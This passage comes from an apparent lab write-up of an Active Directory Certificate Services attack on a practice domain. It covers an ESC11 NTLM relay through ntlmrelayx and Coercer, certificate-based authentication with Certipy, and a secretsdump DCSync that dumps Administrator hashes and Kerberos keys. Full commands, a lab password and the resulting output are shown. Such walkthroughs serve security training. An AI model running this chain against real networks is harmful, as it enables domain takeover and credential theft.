    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : GHOSTLINK.HTB\Administrators
      Access Rights
        ManageCa                        : GHOSTLINK.HTB\Administrators
                                          GHOSTLINK.HTB\Domain Admins
                                          GHOSTLINK.HTB\Enterprise Admins
        ManageCertificates              : GHOSTLINK.HTB\Administrators
                                          GHOSTLINK.HTB\Domain Admins
                                          GHOSTLINK.HTB\Enterprise Admins
        Enroll                          : GHOSTLINK.HTB\Authenticated Users
    [!] Vulnerabilities
      ESC8                              : Web Enrollment is enabled over HTTP.
      ESC11                             : Encryption is not enforced for ICPR (RPC) requests.
Certificate Templates                   : [!] Could not find any certificate templates

Enforce Encryption for Requests : Disabled

This means we can intercept the NTLM authentication of any privileged machine and relay it as-is to the CA to obtain a certificate.

Phase 2: Environment Setup

To better understand the attack flow, it is necessary to detail the environment structure. As mentioned above, the CA (gpz-op26-secure.ghostlink.htb) is on a different network segment (172.16.20.0/24) and our Kali Linux attacker machine is on the 10.10.15.0/24 network. To resolve this lack of direct connectivity, we use Ligolo-ng to establish a tunnel and pivot through the gpz-op26-toolkits machine (172.16.20.20), which has visibility into both networks.

With this configuration in place, we now have direct addressing and access to the CA.

Phase 3: Attack Execution

This is where it gets interesting — the attack itself.

Step 1: Set Up the Relay

ntlmrelayx will listen to intercept the DC’s authentication and relay it to the CA. Open a terminal and run:

➜  Ghostlink sudo ~/venv/esc11/bin/ntlmrelayx.py -t rpc://172.16.20.10 -rpc-mode ICPR -icpr-ca-name 'ghostlink-GPZ-OP26-SECURE-CA' -smb2support --template DomainController

At this point, the relay is waiting for incoming connections.

Step 2: DC Coercion with Coercer

To force the Domain Controller to authenticate toward our Kali machine (where the relay is waiting), we run Coercer:

coercer coerce \
  -l 10.10.15.174 \
  -t dc01.ghostlink.htb \
  -d ghostlink.htb \
  -u nvirelli \
  -p 'u47YUclrDiwWxBheaSzI' \
  --dc-ip 10.129.41.180

What does this mean? We use nvirelli’s credentials to invoke RPC methods on the DC and force it to initiate an outbound connection to our IP (10.10.15.174).

When Coercer prompts to continue through the various methods and protocols, enter C (Continue):

Continue (C) | Skip this function (S) | Stop exploitation (X) ?

Press C to continue (Coercer will try various methods/protocols until it forces the connection to our listener IP).

Relay Flow

When we run both commands in parallel, the network-level attack flow follows this order:

Phase 4: Obtaining the Certificate

As seen in the ntlmrelayx output, the certificate was successfully obtained using the DomainController template:

[*] (RPC): Received connection from 10.129.41.180, attacking target rpc://172.16.20.10
[*] (RPC): Authenticating connection from GHOSTLINK/DC01$@10.129.41.180 against rpc://172.16.20.10 SUCCEED
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Generating CSR...
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> CSR generated!
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Getting certificate...
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Successfully requested certificate
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Request ID is 5
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Writing PKCS#12 certificate to ./DC01.pfx
[*] rpc://GHOSTLINK/DC01$@172.16.20.10 -> Certificate successfully written to file

We now have DC01.pfx on disk.

Phase 5: From Certificate to Domain Admin

With the certificate (DC01.pfx) in hand, the next step is to obtain a TGT for the machine account and then perform a DCSync. However, when attempting to authenticate it is common to encounter the following error:

The KRB_AP_ERR_SKEW (clock skew too great) error (code 0x1e) indicates that the time difference between our attacker machine and the KDC (Domain Controller) exceeds the allowed limit (5 minutes by default).

To fix it, we synchronize our attack machine’s clock using ntpdate:

sudo ntpdate 10.129.41.180

There are several ways to resolve this time synchronization error. If you want to know more alternatives, I recommend checking out this article.

With the clock synchronized, we run Certipy using the obtained certificate to request a TGT and retrieve the NT hash:

➜  Ghostlink certipy auth -pfx DC01.pfx -dc-ip 10.129.41.180 -dns-tcp -ns 10.129.41.180 -domain ghostlink.htb

Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN DNS Host Name: 'dc01.ghostlink.htb'
[*]     Security Extension SID: 'S-1-5-21-3426459382-1936297842-2312468024-1000'
[*] Using principal: 'dc01$@ghostlink.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Wrote credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash: aad3b435b51404eeaad3b435b51404ee:7c02b790a7a6756...

What happened under the hood?

When presenting the certificate to the KDC (Key Distribution Center) via PKINIT (the Kerberos extension that enables certificate-based authentication):

1. Identity Validation: The KDC reads the SAN (Subject Alternative Name) field of the certificate, which points to dc01.ghostlink.htb.
2. TGT Issuance: Upon verifying that the certificate is legitimate and trusted, the KDC generates and delivers a TGT (Ticket Granting Ticket) for the machine account DC01$.
3. NT Hash Recovery: During this PKINIT exchange (specifically in the AS-REP response), Certipy decrypts the data structure and extracts the NT hash of the domain controller account.

With the DC hash, we can execute DCSync. The DC01$ account holds directory replication permissions (GetChanges, GetChangesAll), so it can request a copy of the NTDS.dit:

➜  Ghostlink secretsdump.py ghostlink.htb/dc01\$@dc01.ghostlink.htb -dc-ip 10.129.41.180 -hashes :82c9731fecb932a3f457f81768641f68 -just-dc-user administrator
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8190e067f478002ddd63eb209b016696:::
[*] Kerberos keys grabbed
Administrator:0x14:3291eeea0dfc6d311e1fc6f5ea0920b0cfee75d818a96b1fd5a70b3b6f28706d
Administrator:0x13:b82fd32fef344067a56681879e2d937e
Administrator:aes256-cts-hmac-sha1-96:b2e73d40a99d49f55a44a05a02fa898119d6f4de72c1eceb5d484c0679d92fd8
Administrator:aes128-cts-hmac-sha1-96:c3607a0efea3207eb5b1df36eb2dd256
Administrator:0x17:8190e067f478002ddd63eb209b016696
[*] Cleaning up...

Thanks for reading — I hope this is useful. If you have any questions, suggestions, corrections, or simply want to share something about this topic, my socials are on this blog — feel free to reach out.

Closing quote:

“I have no special talents. I am only passionately curious.”

— Albert Einstein